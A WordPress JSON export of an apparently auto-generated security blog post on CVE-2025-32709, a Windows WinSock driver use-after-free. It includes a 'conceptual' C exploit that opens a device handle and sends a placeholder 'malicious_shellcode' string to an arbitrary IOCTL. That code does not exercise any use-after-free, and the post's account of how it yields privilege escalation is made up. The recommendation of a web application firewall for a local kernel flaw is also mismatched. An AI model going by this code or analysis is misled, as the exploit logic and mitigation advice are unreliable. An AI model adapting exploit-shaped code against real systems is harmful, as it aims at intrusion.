{"id":58580,"date":"2025-07-09T04:09:33","date_gmt":"2025-07-09T04:09:33","guid":{"rendered":""},"modified":"2025-08-30T11:54:30","modified_gmt":"2025-08-30T17:54:30","slug":"cve-2025-32709-critical-use-after-free-vulnerability-in-windows-ancillary-function-driver-for-winsock","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32709-critical-use-after-free-vulnerability-in-windows-ancillary-function-driver-for-winsock\/","title":{"rendered":"<strong>CVE-2025-32709: Critical Use After Free Vulnerability in Windows Ancillary Function Driver for WinSock<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-32709 is a crucial vulnerability found in the Windows Ancillary Function Driver for WinSock, a critical component of the Windows operating system. This vulnerability, classified as a use-after-free flaw, poses a serious risk, allowing an authorized attacker to elevate privileges locally. Given the ubiquity of Windows operating systems in business and private use, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50738-memos-application-vulnerability-allows-for-unauthorized-user-information-disclosure\/\"  data-wpil-monitor-id=\"70062\">vulnerability has the potential to impact millions of users<\/a> worldwide. This flaw is especially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52725-critical-deserialization-of-untrusted-data-vulnerability-in-couponxxl\/\"  data-wpil-monitor-id=\"65221\">critical due to its potential for system compromise or data<\/a> leakage, leading to severe consequences if exploited.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32709<br \/>\nSeverity: High (CVSS Score: 7.8)<br \/>\nAttack Vector: Local<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52817-authorization-bypass-in-zealousweb-abandoned-contact-form-7-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65761\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1813784744\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Windows | All versions with <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47982-improper-input-validation-vulnerability-in-windows-storage-vsp-driver-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"75534\">Windows Ancillary Function Driver<\/a> for WinSock<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The use-after-free vulnerability in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52717-sql-injection-vulnerability-in-lifterlms-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65385\">Windows Ancillary Function Driver<\/a> for WinSock involves an attacker exploiting the system&#8217;s erroneous use of memory objects after they have been &#8216;freed&#8217; or deleted. The attacker needs to have <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26396-local-privilege-escalation-vulnerability-in-solarwinds-dameware-mini-remote-control\/\"  data-wpil-monitor-id=\"70061\">local access and low-level privileges<\/a> to exploit this flaw. By exploiting this, an attacker can manipulate the system&#8217;s memory, corrupt data, crash the system, or potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53002-remote-code-execution-vulnerability-in-llama-factory\/\"  data-wpil-monitor-id=\"65202\">execute arbitrary code<\/a>, leading to privilege escalation.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-838646738\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">#include &lt;windows.h&gt;\nint main() {\nHANDLE hDevice;\nDWORD bResult;\nDWORD junk = 0;\nhDevice = CreateFile(&quot;\\\\\\\\.\\\\WinSock&quot;, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\nif(hDevice == INVALID_HANDLE_VALUE) {\nprintf(&quot;CreateFile Failed: %d\\n&quot;, GetLastError());\nreturn 1;\n}\nchar shellcode[] = &quot;malicious_shellcode&quot;;\nbResult = DeviceIoControl(hDevice, 0x222003, shellcode, sizeof(shellcode), NULL, 0, &amp;junk, (LPOVERLAPPED)NULL);\nif (!bResult) {\nprintf(&quot;DeviceIoControl Failed: %d\\n&quot;, GetLastError());\n}\nCloseHandle(hDevice);\nreturn 0;\n}<\/code><\/pre>\n<p>In this conceptual example, the attacker writes malicious shellcode to the handle of the driver, leading to the execution of arbitrary code and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-12827-privilege-escalation-via-account-takeover-in-dwt-directory-listing-wordpress-theme\/\"  data-wpil-monitor-id=\"65439\">privilege escalation<\/a>.<\/p>\n<p><strong>Mitigation and Recommendations<\/strong><\/p>\n<p>To mitigate this vulnerability, users should apply the vendor patch as soon as it is available. Until then, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation. Regularly updating and patching systems is also a best practice that will significantly reduce the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52709-high-risk-deserialization-of-untrusted-data-vulnerability-in-everest-forms\/\"  data-wpil-monitor-id=\"65241\">risk of similar vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-32709 is a crucial vulnerability found in the Windows Ancillary Function Driver for WinSock, a critical component of the Windows operating system. This vulnerability, classified as a use-after-free flaw, poses a serious risk, allowing an authorized attacker to elevate privileges locally. Given the ubiquity of Windows operating systems in business and private use, this [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[82],"product":[],"attack_vector":[76],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-58580","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-microsoft","attack_vector-privilege-escalation"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=58580"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58580\/revisions"}],"predecessor-version":[{"id":68068,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/58580\/revisions\/68068"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=58580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=58580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=58580"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=58580"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=58580"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=58580"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=58580"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=58580"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=58580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}